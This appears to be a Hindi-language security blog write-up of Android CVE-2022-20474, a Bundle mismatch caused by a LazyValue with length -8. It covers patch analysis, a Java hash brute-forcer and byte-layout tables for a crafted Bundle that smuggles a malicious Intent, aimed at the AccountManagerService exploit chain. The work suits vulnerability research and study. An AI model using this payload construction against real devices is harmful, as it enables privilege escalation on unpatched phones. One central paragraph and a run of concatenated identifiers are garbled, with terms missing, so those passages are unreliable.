
एंड्रॉइड CVE-2022-20474 के लिए विस्तृत तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट, एक Bundle mismatch भेद्यता जो नकारात्मक लंबाई के साथ LazyValue का शोषण करके self-changing Bundle व्यवहार प्राप्त करती है।
कृपया ध्यान दें, इस लेख को पढ़ने से पहले, आपको Bundle Mismatch संबंधित कमजोरियों की बुनियादी समझ होनी चाहिए। यदि आपने नीचे दिए गए संदर्भ सामग्री को अभी तक नहीं पढ़ा है, तो पहले उन्हें पढ़ने की सलाह दी जाती है:
हाल ही में मैं michalbednarski के LeakValue लेख का गहन अध्ययन कर रहा था। Canyie के साथ चर्चा करते समय, उन्होंने कहा कि इस लेख में LazyValue परिदृश्य में Self-changing Bundle की एक स्थिति का भी उल्लेख किया गया है, और फिर मैंने मूल लेख ढूंढा, वास्तव में ऐसा एक पैराग्राफ था, जिसे मैंने Michal का लेख पढ़ते समय सीधे छोड़ दिया था। मूल लेख में ऐसा कहा गया है:
(Also
LazyValuewith negative length specified can be used (without using other bugs described in this writeup) to create self-changingBundle, the thingLazyValuewas created to eliminate. But that is another story (and separately reported to Google), in this exploit I'm aiming for more)
Michal का तात्पर्य शायद CVE-2022-20474 (बुलेटिन, पैच) से है। मैंने एक नज़र पैच पर डाली, लेकिन पैच लिंक में फ़ंक्शन पूरा नहीं दिखाया गया था। इसे पूरा करने के बाद ध्यान से देखते हैं:
@@ -4388,6 +4388,9 @@
public Object readLazyValue(@Nullable ClassLoader loader) {
int start = dataPosition();
int type = readInt();
if (isLengthPrefixed(type)) {
int objectLength = readInt();
+ if (objectLength < 0) {
+ return null;
+ }
int end = MathUtils.addOrThrow(dataPosition(), objectLength);
int valueLength = end - start;
setDataPosition(end);
return new LazyValue(this, start, valueLength, type, loader);
} else {
return readValue(type, loader, /* clazz */ null);
}
}
कोड में objectLength LazyValue का length है, वास्तव में यह केवल LazyValue में शामिल परिवर्तनीय ऑब्जेक्ट की लंबाई है, जबकि पूरे LazyValue की लंबाई mLength फ़ील्ड द्वारा नियंत्रित होती है, अर्थात कोड में valueLength, जो LazyValue के कंस्ट्रक्टर में mLength को पास किया जाता है।
आइए LazyValue के लेआउट प्रारूप की तुलना करें:
/**
* | 4B | 4B |
* mSource = Parcel{... | type | length | object | ...}
* a b c d
* length = d - c
* mPosition = a
* mLength = d - a
*/
उपरोक्त सामग्री के आधार पर, हम निम्नलिखित तथ्य प्राप्त कर सकते हैं:
mLength पूरे LazyValue की लंबाई को दर्शाता है, mLength = objectLength + 8 बाइट्स।objectLength >= 0 होना चाहिए।LazyValue ऑब्जेक्ट केवल mLength संग्रहीत करता है, objectLength नहीं, क्योंकि LazyValue मेमोरी कॉपी पूरे ऑब्जेक्ट के आधार पर की जाती है।LazyValue फिर से पढ़ा जा सकता है।फिर, गहन विचार के बाद, हम सभी सहमत हैं कि इन तथ्यों का! कुछ! भी! उपयोग! नहीं! है! क्योंकि उपरोक्त तथ्यों के आधार पर, केवल read के दौरान एक बार संशोधित किया जा सकता है, जबकि हम जानते हैं कि Self-changed Bundle का मूल विचार read पूरा होने के बाद संशोधित करना है, तभी सुरक्षा जांच को बायपास किया जा सकता है।
जब हम हार मानने वाले थे, तो अचानक हमने पैच के विवरण में कुछ विवरण पाया:
Addresses a security vulnerability where a (-8) length object would cause dataPosition to be reset back to the statt of the value, and be re-read again.
objectLengthइसमें उल्लेख है कि जब objectLength -8 होता है, तो कुछ समस्याएं होती हैं, जिससे हमें अतिरिक्त संकेत मिले। क्या इस समय LazyValue सामान्य रूप से apply हो सकता है?
@Override
public Object apply(@Nullable Class<?> clazz, @Nullable Class<?>[] itemTypes) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
// Check mSource != null guarantees callers won't ever see different objects.
if (mSource != null) {
int restore = source.dataPosition();
try {
source.setDataPosition(mPosition);
mObject = source.readValue(mLoader, clazz, itemTypes);
} finally {
source.setDataPosition(restore);
}
mSource = null;
}
}
}
return mObject;
}
/**
* @see #readValue(int, ClassLoader, Class, Class[])
*/
@Nullable
private <T> T readValue(@Nullable ClassLoader loader, @Nullable Class<T> clazz,
@Nullable Class<?>... itemTypes) {
int type = readInt();
final T object;
if (isLengthPrefixed(type)) {
int length = readInt();
int start = dataPosition();
object = readValue(type, loader, clazz, itemTypes);
int actual = dataPosition() - start;
if (actual != length) {
Slog.wtfStack(TAG,
"Unparcelling of " + object + " of type " + Parcel.valueTypeToString(type)
+ " consumed " + actual + " bytes, but " + length + " expected.");
}
} else {
object = readValue(type, loader, clazz, itemTypes);
}
return object;
}
देखा जा सकता है कि वास्तविक readValue mPosition से शुरू होता है, फिर क्रमशः LazyType और objectLength पढ़ता है, और फिर सामान्य Value पढ़ने की प्रक्रिया में प्रवेश करता है, जैसे Parcelable को ClassName पढ़ने की आवश्यकता होती है, फिर createFromParcel निष्पादित होता है, पढ़ने के बाद, सामान्य Key-Value से कोई अंतर नहीं होता, और बाद के सीरियलाइज़ेशन पर कोई प्रभाव नहीं पड़ता। फिर से समीक्षा करें, Self-changed Bundle का मूल विचार read पूरा होने के बाद संशोधित करना है, यहाँ तो बस एक सामान्य आउट-ऑफ-बाउंड रीड है, ऐसा लगता है कि यह दिशा काम नहीं करेगी।
तो क्या LazyValue इस प्रक्रिया में apply नहीं होता? दूसरे शब्दों में, यह LazyValue के रूप में IPC में भाग लेना जारी रखता है, इस समय इसका writeToParcel फ़ंक्शन कॉल किया जाता है:
public void writeToParcel(Parcel out) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
if (mSource != null) {
out.appendFrom(source, mPosition, mLength);
return;
}
}
}
out.writeValue(mObject);
}
पूरा LazyValue सीधे कॉपी हो जाता है, जब तक कि mLength = 0 न हो। रुको! ऊपर उल्लेख किया गया है कि mLength = objectLength + 8 बाइट्स, और पैच जानकारी से ज्ञात होता है कि भेद्यता को ट्रिगर करने के लिए objectLength -8 होना चाहिए, तो इस समय mLength = 0 सत्य हो जाता है। दूसरे शब्दों में, इस परिदृश्य में पूरा LazyValue गायब हो जाता है, केवल String Key कॉपी होता है, जिससे एक लापता लेखन होता है, और Self-changed Bundle की शर्त सीधे पूरी हो जाती है।
कारण जानने के बाद, हम प्रतिलिपि बनाना शुरू कर सकते हैं, लेकिन इससे पहले, हमें थोड़ी और विस्तृत जानकारी की आवश्यकता है।
static final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L'
private static final int BUNDLE_MAGIC_NATIVE = 0x4C444E44; // 'B' 'N' 'D' 'N'
हम सभी जानते हैं कि Bundle की मेमोरी लेआउट लगभग इस प्रकार है:
/**
* | 4B | 4B | 4B |
* Bundle{| length | MAGIC | size | Key | Value | Key | Value | ...}
*
*/
MAGIC Bundle की मेमोरी लेआउट में एक मैजिक नंबर है, जो BUNDLE_MAGIC या BUNDLE_MAGIC_NATIVE हो सकता है। इन दोनों के बीच सबसे महत्वपूर्ण अंतर यह है कि BUNDLE_MAGIC डीसीरियलाइज़ेशन पूरा होने के बाद Key-Value को पुनः क्रमबद्ध करता है, जैसा कि निम्नलिखित कोड में दिखाया गया है:
/**
* Reads a map into {@code map}.
*
* @param sorted Whether the keys are sorted by their hashes, if so we use an optimized path.
* @param lazy Whether to populate the map with lazy {@link Function} objects for
* length-prefixed values. See {@link Parcel#readLazyValue(ClassLoader)} for more
* details.
* @return a count of the lazy values in the map
* @hide
*/
int readArrayMap(ArrayMap<? super String, Object> map, int size, boolean sorted,
boolean lazy, @Nullable ClassLoader loader) {
int lazyValues = 0;
while (size > 0) {
String key = readString();
Object value = (lazy) ? readLazyValue(loader) : readValue(loader);
if (value instanceof LazyValue) {
lazyValues++;
}
if (sorted) {
map.append(key, value);
} else {
map.put(key, value);
}
size--;
}
if (sorted) {
map.validate();
}
return lazyValues;
}
MAGIC ध्वज अंततः readArrayMap में sorted के मान को प्रभावित करता है, जिससे मैप की सॉर्टिंग शुरू होती है। टिप्पणी में भी उल्लेख है कि सॉर्टिंग key String के हैश मान के माध्यम से की जाती है।
/**
* a
* ArrayMap{| Key1 | LazyValue1 | FakeKey2 | Value2 | Key3 | Value3 |}
*
*/
आइए फिर से ArrayMap की पार्सिंग प्रक्रिया की कल्पना करें। पहले दौर की पार्सिंग में पहले Key1 पार्स किया जाएगा, फिर LazyValue1 को पार्स करने का प्रयास किया जाएगा। लेकिन LazyValue1 का objectLength -8 है, parcel का पॉइंटर LazyValue1 की शुरुआत में वापस आ जाता है, यानी बिंदु a पर, यही तथ्य 4 में उल्लेख किया गया है, अब तक पहला Key-Map पार्स हो चुका है। दूसरा Key-Value बिंदु a से पार्स करना शुरू होता है, इस समय पहले String की लंबाई पढ़ी जाती है, मान लें कि LazyValue1 में Parcelable है, तो यह लंबाई 4 होनी चाहिए। इसलिए, वास्तविक Key2 बिंदु a से शुरू होता है, अर्थात Key2 = + । में कोई डेटा नहीं है, इसलिए लंबाई + के 8 बाइट्स है। पूरे की लंबाई 4 (लंबाई पहचान) + 4 * 2 + 4 ("\0") = 16 बाइट्स होगी। के 8 बाइट्स को छोड़कर, हमें निर्माण करते समय पीछे 8 बाइट्स जोड़ने की आवश्यकता है, अर्थात 2 । फिर पढ़ें। इसलिए, जब हम पहली बार पार्स करते हैं, तो हमें एक का उपयोग करना होगा जो नकारात्मक के पार्सिंग के कारण पॉइंटर के आगे बढ़ने की समस्या से निपटे। और इस का मान हमें परवाह नहीं है, क्योंकि इसका उपयोग केवल पहली पार्सिंग के दौरान ही होता है, यह सिर्फ एक टूल है। चूंकि यह एक बार उपयोग के बाद फेंक देने वाला टूल है, तो मैं चाहता हूं कि पहली पार्सिंग पूरी होने पर यह हमारे महत्वपूर्ण डेटा से दूर हो, और में हमारा दुर्भावनापूर्ण डेटा होता है। बेहतर होगा कि का हैश से बड़ा हो, ताकि यह बाद की पार्सिंग को प्रभावित न करे। के माध्यम से, हम के हैश मान को समायोजित करके इस लक्ष्य को प्राप्त कर सकते हैं, जिसके बारे में हम में विस्तार से बताएंगे। फिर हम की पार्सिंग में प्रवेश करते हैं, पुरानी बात है, में एक रखें जिसमें दुर्भावनापूर्ण होता है, लेकिन पर कुछ अतिरिक्त प्रतिबंध हैं। पहली बार डीसीरियलाइज़ेशन पूरी होने के बाद, का लेआउट इस प्रकार होना चाहिए, टूल को सबसे अंत में फेंक दिया गया:
Key1-Value1 | Key3-Value3 | Key2-Value2
और उपरोक्त असामान्य objectLength में उल्लेख किया गया है कि LazyValue1 की लंबाई 0 है, इसलिए writeToParcel के दौरान, यह कॉपी ही नहीं हुआ! वास्तविक लेआउट इस प्रकार है:
Key1 | Key3-Value3 | Key2-Value2
Key1 पढ़ने के बाद अभी भी Value1 पढ़ने की जरूरत है, यहां फिर से आउट-ऑफ-बाउंड रीड होता है, और Key3 को LazyValue1 पढ़ने का भार उठाना पड़ता है। Key3 में पहला int को String की लंबाई की भूमिका निभानी होगी, साथ ही LazyValue के Type की भूमिका भी, जिसका अर्थ है कि Key3 की लंबाई बहुत छोटी नहीं होनी चाहिए, अन्यथा हैश की गणना करना कठिन होगा। LazyValue के Type की सूची पर एक नज़र डालने पर, मुझे यह पसंद आया:
private static final int VAL_LIST = 11; // length-prefixed
बेशक आप 12, 16, 17 भी चुन सकते हैं, बस बहुत छोटा न हो।
और Key3 में दूसरा int को LazyValue के Length की भूमिका निभानी है, इसके माध्यम से हम LazyValue1 की लंबाई को नियंत्रित कर सकते हैं, अगले पॉइंटर को दुर्भावनापूर्ण Intent की शुरुआत की ओर इंगित करते हैं। आप कह सकते हैं कि LazyValue1 की सामग्री अमान्य है? इससे मुझे कोई मतलब नहीं है, जब तक आप getXXX को कॉल करके apply नहीं करते, यह हमेशा LazyValue ही रहेगा।
एक ब्रूट फोर्सर लिखें:
private static Pair<Integer, Integer> generateInt(){
while (true) {
Random random = new Random();
int number1 = random.nextInt();
int number2 = random.nextInt();
Parcel parcel = Parcel.obtain();
parcel.writeInt(11); //
parcel.writeInt(32);
parcel.writeInt(0);
parcel.writeInt(0);
parcel.writeInt(number1);
parcel.writeInt(number2);
parcel.writeInt(0);
parcel.setDataPosition(0);
String str = parcel.readString();
if (str.hashCode() >= "Cxxsheng".hashCode() && str.hashCode() < "Cxxsheng".hashCode() + 1000000)
{
parcel.recycle();
return new Pair<>(number1, number2);
}
parcel.recycle();
}
बेशक, हम Key2 को भी ब्रूट फोर्स कर सकते हैं, इसे सामने ला सकते हैं, लेकिन Key2 की लंबाई निश्चित 4 है, जो अपेक्षाकृत छोटी है, काम करने की जगह कम है, जबकि Key3 की लंबाई हमने ऊपर कुछ जगह छोड़ी है, जिससे ब्रूट फोर्स करना आसान हो जाता है। मान लें कि हमारा Key1 स्ट्रिंग "Cxxsheng" है, हम चाहते हैं कि Key3 का हैश "Cxxsheng" के हैश से बड़ा हो, लेकिन केवल थोड़ा सा बड़ा, मैंने 1000000 सेट किया, ताकि उनके एक साथ रहने की संभावना अधिक हो, तीसरा Key2 हस्तक्षेप नहीं कर सकता। ऊपर उल्लेख किया गया है कि string के पहले दो int निश्चित हैं। इसलिए हम पहले VAL_LIST (जो String की लंबाई भी है) लिखते हैं, गणना करके पता लगाते हैं कि दुर्भावनापूर्ण Intent से 32 बाइट्स दूर हैं, शेष शून्य सभी ब्रूट फोर्स के लिए इस्तेमाल किए जा सकते हैं। बस दो चुनकर ब्रूट फोर्स करें।
number1 और number2 के माध्यम से तीसरे मान को ArrayMap में क्रमबद्ध किया जा सकता है। क्योंकि ArrayMap key के hashcode के आधार पर क्रमबद्ध होता है, इस प्रकार तीसरे मान को डीसीरियलाइज़ेशन के बाद दूसरा बनाया जा सकता है, जो पहले "Cxxsheng" के तुरंत बाद आता है, जैसा कि नीचे दिखाया गया है:
Bundle[{Cxxsheng=Supplier{VAL_PARCELABLE@28+0},[कुछ गार्बेज]=[दुर्भावनापूर्ण ByteArray], [कुछ गार्बेज]=0}]
यह देखा जा सकता है कि हमारा पढ़ने का क्रम भी लिखने के क्रम से भिन्न होगा। लेखन पूरा करने के बाद, जैसा कि हमने ऊपर विश्लेषण किया, पूरा LazyValue खो गया है, और तीसरे Key-Value को दूसरे स्थान पर पुनः क्रमबद्ध किया गया है, जिसमें type और objectLength भी शामिल हैं। इसलिए, पृष्ठ लेआउट इस प्रकार होगा:
पाठक स्वयं क्लासिक AccountManagerService एक्सप्लॉइट चेन का उपयोग कर सकते हैं। क्या इसका उपयोग किया जा सकता है, इसके बारे में यह लेख अधिक विस्तार से नहीं बताएगा, क्योंकि यह इस बात पर निर्भर करता है कि नवंबर 2022 के पैच में checkKeyIntentParceledCorrectly फ़ंक्शन था या नहीं। यहां अतिरिक्त रूप से समझाते हुए, इस फ़ंक्शन ने सिम्युलेटेड IPC कॉल प्रक्रिया का उपयोग करके AccountManagerService एक्सप्लॉइट चेन को अवरुद्ध कर दिया। इसलिए, Android 12 या 13 पर भले ही Mismatch मौजूद हो, इसका सफलतापूर्वक उपयोग करना आवश्यक नहीं है, और इस फ़ंक्शन को बायपास करने का तरीका खोजना होगा।
हम इस फ़ंक्शन की नकल कर सकते हैं, IPC कॉल प्रक्रिया का अनुकरण करने के लिए:
private Bundle simulateIPCBundle(Bundle originBundle){
Parcel p = Parcel.obtain();
p.writeBundle(originBundle);
p.setDataPosition(0);
byte[] bs = p.marshall(); //डीबग के दौरान यहां परसेल डेटा देखा जा सकता है
// marshall पार्सल पॉइंटर नहीं बदलेगा
// p.setDataPosition(0);
Bundle simulateBundle = p.readBundle(getClass().getClassLoader());
p.recycle();
return simulateBundle;
}
फिर सिम्युलेटेड IPC कॉल प्रक्रिया के माध्यम से लॉग आउटपुट छवि का आनंद लें। विशिष्ट जानकारी के लिए मेरे Github कोड का संदर्भ लें:

LazyValue1FakeKey2LazyValue1LazyTypeobjectLengthstringLazyValue1writeIntValue2Key2-Value2objectLengthLazyValue1Key2-Value2Key3-Value3Key2Key1Key3Key2-Value2Bundle mismatchValue3ByteArrayIntentKey3ArrayMapKey2-Value2| मान | स्पष्टीकरण |
|---|
| "Cxxsheng" | पहली कुंजी |
| 4 | दो राउंड पढ़ेगा: पहले राउंड में VAL_PARCELABLE का प्रतिनिधित्व करता है; दूसरे राउंड में दूसरी कुंजी की String Length बन जाता है |
| -8 | दो राउंड पढ़ेगा: पहले राउंड में LazyValue के objectLength का प्रतिनिधित्व करता है, जिससे पॉइंटर पीछे चला जाता है, जिससे दो राउंड पढ़ना होता है; दूसरे राउंड में दूसरी कुंजी का String Value बन जाता है |
| 0 | दूसरी कुंजी का String Value |
| 0 | दूसरी कुंजी का String Value |
| 1 | VAL_INTEGER |
| 0 | दूसरा मान |
| 11 | तीसरी कुंजी का String Length |
| 32 | तीसरी कुंजी का String Value |
| 0 | तीसरी कुंजी का String Value |
| 0 | तीसरी कुंजी का String Value |
| number1 | तीसरी कुंजी का String Value, ये दो मान सॉर्टिंग समायोजित करने के लिए उपयोग किए जाते हैं |
| number2 | तीसरी कुंजी का String Value, ये दो मान सॉर्टिंग समायोजित करने के लिए उपयोग किए जाते हैं |
| 0 | तीसरी कुंजी का String Value |
| 13 | VAL_BYTEARRAY |
| LazyValue की लंबाई | गणना करके प्राप्त |
| ByteArray की लंबाई | गणना करके प्राप्त |
| ByteArray | इसमें दुर्भावनापूर्ण Key-Value शामिल है, अर्थात Intent.EXTRA_INTENT और उसका Intent |
| मान | स्पष्टीकरण |
|---|
| "Cxxsheng" | पहली कुंजी |
| 11 | VAL_LIST |
| 32 | पहले मान की लंबाई, बाद में कुछ भी सही या गलत महत्वपूर्ण नहीं है (वैसे भी इस LazyValue को apply नहीं किया जाएगा), यह सीधे ByteArray में दुर्भावनापूर्ण Intent के सामने इंगित करता है |
| 0 | LazyValue में मान |
| 0 | LazyValue में मान |
| number1 | LazyValue में मान |
| number2 | LazyValue में मान |
| 0 | LazyValue में मान |
| 13 | LazyValue में मान |
| LazyValue की लंबाई | LazyValue में मान |
| ByteArray की लंबाई | LazyValue में मान |
ByteArray शुरू / Intent.EXTRA_INTENT | दूसरी कुंजी |
| Intent | दूसरा मान |
| तीसरा Key-Value | अंत में आ गया |